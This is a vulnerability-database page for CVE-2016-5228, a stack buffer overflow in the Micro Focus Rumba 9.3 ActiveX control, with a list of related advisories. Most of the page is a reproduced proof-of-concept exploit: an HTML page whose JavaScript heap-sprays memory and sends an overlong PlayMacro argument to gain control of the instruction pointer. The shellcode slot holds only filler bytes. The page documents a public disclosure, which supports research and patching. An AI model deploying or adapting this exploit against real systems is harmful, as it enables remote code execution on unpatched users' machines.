Micro Focus Rumba 9.3 Active-X Stack Buffer Overflow

🗓️ 31 Oct 2016 00:00:00Reported by Umit AksuType

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Micro Focus Rumba 9.3 Active-X Stack Buffer Overflo

Reporter	Title	Published	Views	Family All 9
0day.today	Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow	31 Oct 201600:00	–	zdt
Circl	CVE-2016-5228	31 Oct 201600:00	–	circl
CNVD	Micro Focus Rumba stack buffer overflow vulnerability (CNVD-2016-04557)	5 Jul 201600:00	–	cnvd
CVE	CVE-2016-5228	3 Jul 201601:00	–	cve
Cvelist	CVE-2016-5228	3 Jul 201601:00	–	cvelist
Exploit DB	Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow (PoC)	31 Oct 201600:00	–	exploitdb
exploitpack	Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow (PoC)	31 Oct 201600:00	–	exploitpack
NVD	CVE-2016-5228	3 Jul 201601:59	–	nvd
Prion	Stack overflow	3 Jul 201601:59	–	prion

`# Exploit Title: Micro Focus Rumba <= 9.3 ActiveX Stack-based buffer overflow  
# Date: 29-10-2016  
# Exploit Author: Umit Aksu  
# Vendor Homepage: http://community.microfocus.com/microfocus/mainframe_solutions/rumba/w/knowledge_base/28600.micro-focus-rumba-9-x-security-update.aspx  
# Software Link: http://nadownloads.microfocus.com/epd/product_download_request.aspx?type=eval&transid=2179441&last4=2179441&code=40231  
# Version: <= 9.3  
# Tested on: Internet Explorer 11 on windows 7  
# CVE : CVE-2016-5228  
  
  
  
1. Description  
Stack-based buffer overflow in the PlayMacro function in ObjectXMacro.ObjectXMacro in WdMacCtl.ocx in Micro Focus Rumba 9.x before 9.3 HF 11997 and 9.4.x before 9.4 HF 12815 allows remote attackers to execute arbitrary code via a long MacroName argument.  
  
  
2. Proof of Concept  
  
The code below sprays the memory to have a valid memory address which can then be used to reference... the exploit code only makes it possible to overwrite the EIP the rest is up to you.  
  
  
  
  
<html>  
<head>  
<object classid='clsid:56359FC0-E847-11CE-BE79-02608C8F68F1' id='_vulActiveX'>  
</object>  
</head>  
<body>  
<div id="blah"></div>  
  
<script language="javascript">  
  
function vuln(){  
// 272 Junk Data  
// 272 + "\x43\x43\x43\x43" = EDX = 43434343  
//  
  
// If we change the edx to an address that point to a valid address  
// We will have control over EIP  
// 0x20302228  
  
  
// Overwrite the stack  
var evil_payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  
// Addres pointing to our sprayed heap  
var EDX = "\x28\x22\x30\x20";  
  
evil_payload += EDX;  
  
_vulActiveX.PlayMacro(evil_payload);  
  
}  
  
  
  
// This create blocks of memory with data we control  
// And attaches the data to a button.title  
// By doing this we have a predicatable place in memory containing our data  
// This data can by used to place shellcode in it and can be used like in this case to  
// point to valid address to overwrite EIP  
  
  
// Heap Spraying technique of corelanc0d3r  
// See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/  
  
var div_container = document.getElementById("blah");  
div_container.style.cssText = "display:none";  
var data;  
offset = 0x104;  
var jmp_address="\x28\x22\x30\x20";  
  
junk = unescape("%u4747%u4747"); // <-------- EIP Value  
while(junk.length < 0x1000) junk += junk;  
  
  
// 20302290  
shellcode = unescape("%u2290%u2030%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444");  
data = junk.substring(0,offset) + shellcode;  
data += junk.substring(0,0x800 - offset - shellcode.length);  
while(data.length < 0x80000) data += data  
// Targets:  
// FireFox: 0x20302210  
// IE 8, 9 and 10/11: 0x20302228  
for(var i = 0; i < 0x500; i++)  
{  
var obj = document.createElement("button");  
obj.title = data.substring(0,0x40000-0x58);  
div_container.appendChild(obj);  
}  
  
  
</script>  
  
  
<input type="button" onclick="javascript:vuln()" value="exploit" >  
  
</body>  
  
  
  
</html>  
  
  
`

31 Oct 2016 00:00Current

1.3Low risk

Vulners AI Score1.3

EPSS0.51245